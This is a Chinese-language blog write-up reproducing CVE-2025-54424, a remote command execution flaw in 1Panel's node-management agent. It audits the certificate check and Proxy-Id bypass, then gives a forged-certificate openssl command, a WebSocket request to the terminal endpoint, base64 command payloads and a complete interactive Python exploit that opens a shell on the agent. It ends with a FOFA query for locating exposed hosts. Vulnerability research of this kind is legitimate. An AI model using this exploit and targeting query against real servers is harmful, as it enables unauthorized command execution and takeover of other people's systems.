影响版本:v2.0.0 <= 1Panel <= v2.0.5
git仓库: https://github.com/1Panel-dev/1Panel

1Panel概述

1Panel是一个现代化、开源的Linux服务器运维管理面板,由飞致云团队开发维护。是目前最受欢迎的开源服务器管理面板之一。
1Panel提供了Web界面管理的服务器管理功能,包括应用商店、容器管理、文件管理、数据库管理、监控告警等功能,广泛应用于中小企业和个人开发者的服务器运维场景。

在1Panel v2 版本中,新增了节点管理功能,允许通过 Core端控制多个 Agent端主机,形成分布式管理架构。Core端 与 Agent端 之间通过HTTPS协议进行通信,这种架构设计大大提高了多服务器管理的便利性。

受影响版本中,Agent 端 TLS 认证策略为 tls.RequireAnyClientCert,仅要求提供证书但不验证其可信性。攻击者可通过自签名证书绕过 TLS 校验,伪造节点字段为 panel_client,绕过应用层校验。最终攻击者可伪造合法授权令令执行接口调用,导致远程命令执行漏洞。

代码审计

v2.0.5

  1. router.go文件中,会对不是master节点的中间件需要进行证书验证

  2. 接着跳转到证书验证函数agent/middleware/certificate.go
    a) 发现Certificate函数判断了c.Request.TLS.HandshakeComplete是否进行了证书通讯
    b) 只验证了证书CN字段为panel_client,未验证证书签发者
    c) 这套代码使用了自定义请求头Proxy-id,代理节点收到请求时,会把请求头里的 Proxy-Id 与本机文件 /etc/1panel/.nodeProxyID 的内容比对;一致才继续走后续处理,用来判定请求确实来自受信主控端。
    但是在校验Proxy-id前,如果请求头里的Connect字段为Upgrade可以直接Next()。没有同时校验 Upgrade: websocketSec-WebSocket-Key/Version 等 WebSocket 握手要素,也没有确认框架真的完成了协议升级;于是任何请求只要带上 Connection: Upgrade,就会绕过后续的 Proxy-Id 比对

  3. 由于c.Request.TLS.HandshakeComplete的真假判断是通过agent/server/server.go代码Start函数中的tls.RequireAnyClientCert来判断的,此处由于使用tls.RequireAnyClientCert而不是tls.RequireAndVerifyClientCertRequireAnyClientCert只要求客户端提供证书,不验证证书的签发CA,所以任何自签名证书都能通过TLS握手。

  4. Terminal SSH WebSocket 接口(可执行任意命令)

1
2
3
4
{
"type": "cmd",
"data": "d2hvYW1pCg==" // "whoami" 的base64编码,记住不要忘记回车。
}

  1. 因此漏洞利用的流程为:伪造CN字段为panel_client的自签名证书,利用项目中大量的Websocket接口

环境搭建

需要准备两台安装了1panel的系统,可以是vps也可以是虚拟机,一台机器配置为主节点,一台机器配置为从节点。这个漏洞针对专业版用户“节点管理”的功能,可对从节点远程命令执行。因此复现需要购买专业版。

  1. 下载1Panel社区版V2.0.5离线安装包 下载链接,拷贝到系统中。
  2. 解压tar包
1
tar zxvf 1panel-v2.0.5-linux-amd64.tar.gz
  1. 进入解压后的目录,执行脚本,然后按照指示安装即可
1
2
3
cd 1panel-v2.0.5-linux-amd64
chmod +x install.sh
./install.sh
  1. 一台机器配置为主节点,一台机器配置为从节点
  • 主节点需要升级成专业版(专业版购买网址),购买完成后下载许可证,导入搭建好的1panel中

  • 作为从节点的系统需要主节点降级为从节点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. 进入临时目录
cd /tmp

# 2. 下载适用于您服务器架构的二进制文件(以 amd64 架构为例)
wget https://gitee.com/fit2cloud-feizhiyun/1panel-migrator/releases/download/v2.0.9/1panel-migrator-linux-amd64

# 3. 添加执行权限
chmod +x 1panel-migrator-linux-amd64

# 4. 移动至系统 PATH 中并重命名
mv 1panel-migrator-linux-amd64 /usr/local/bin/1panel-migrator

# 5. 打开需要降级的主节点,通过安装好的 1panel-migrator 执行降级命令
1panel-migrator demote

Fuzz测试

  1. 伪造证书:
1
2
3
4
openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"

#pkcs12格式:
openssl pkcs12 -export -in panel_client.crt -inkey panel_client.key -out client.p12
  1. 在yakit中添加证书:

  2. 构建ss5连接:

1
2
3
4
5
6
7
GET /api/v2/hosts/terminal HTTP/1.1
Host: your-ip
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://your-ip

  1. 连接成功后发送数据包{"type": "cmd", "data": "aWQK"},成功shell目标,注意这里有base64编码
    ![[Blog/CVE-2025-54424复现/pic/7.png]]

Poc:使用伪造证书建立websocket连接

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import websocket
import ssl
import json
import base64

# ====== 配置部分 ======
WS_URL = "wss://xxxxxxx:xxxx/api/v2/hosts/terminal" # 这里要替换为子节点的实际 IP 地址或域名
CERT_FILE = "panel_client.crt"
KEY_FILE = "panel_client.key"

INIT_CMD = {
"type": "cmd",
"data": base64.b64encode(b"whoami\n").decode()
}


def recv_one(ws):
"""接收并解码一条 WebSocket 消息"""
try:
msg = ws.recv()
print("[←] 收到消息:", msg)

try:
data_obj = json.loads(msg)
if "data" in data_obj:
decoded = base64.b64decode(data_obj["data"]).decode(errors="replace")
print("[↓] 解码结果:\n" + decoded)
except Exception as e:
print("[!] 响应解析失败:", e)

except Exception as e:
print("[!] 接收失败:", e)


def main():
ws = websocket.WebSocket(sslopt={
"certfile": CERT_FILE,
"keyfile": KEY_FILE,
"cert_reqs": ssl.CERT_NONE,
"check_hostname": False
})

try:
ws.connect(WS_URL)
print("[*] 已连接 WebSocket 服务器")

recv_one(ws)

print("[→] 已发送 whoami 指令")
ws.send(json.dumps(INIT_CMD))

recv_one(ws)

while True:
user_input = input(">>> 请输入命令(明文,输入 exit 退出):\n")
if user_input.strip().lower() == "exit":
break
if not user_input.strip():
continue

b64data = base64.b64encode((user_input.strip() + "\n").encode()).decode()
msg = {
"type": "cmd",
"data": b64data
}
print("[→] 已发送指令:", user_input.strip())
ws.send(json.dumps(msg))
recv_one(ws)

except Exception as e:
print("[!] 连接失败:", e)

finally:
ws.close()
print("[*] 已断开连接")


if __name__ == "__main__":
main()

运行后成功shell

Fofa指纹资产探测

1
cert.subject_org=="FIT2CLOUD" && ip.port="9999" || cert.subject.suffix=="panel_server"

子节点和父节点一样,可以搭建网站等一系列服务。使用节点管理的功能可以很好地控制这些子节点,当然对于控制过程中的ssh通信等接口的证书和身份验证是确保网站安全的重中之重。

参考文章

主从节点切换
CVE-2025-54424 1Panel远程命令执行漏洞详细分析及复现
【漏洞复现】1Panel <= v2.0.5 远程命令执行(CVE-2025-54424)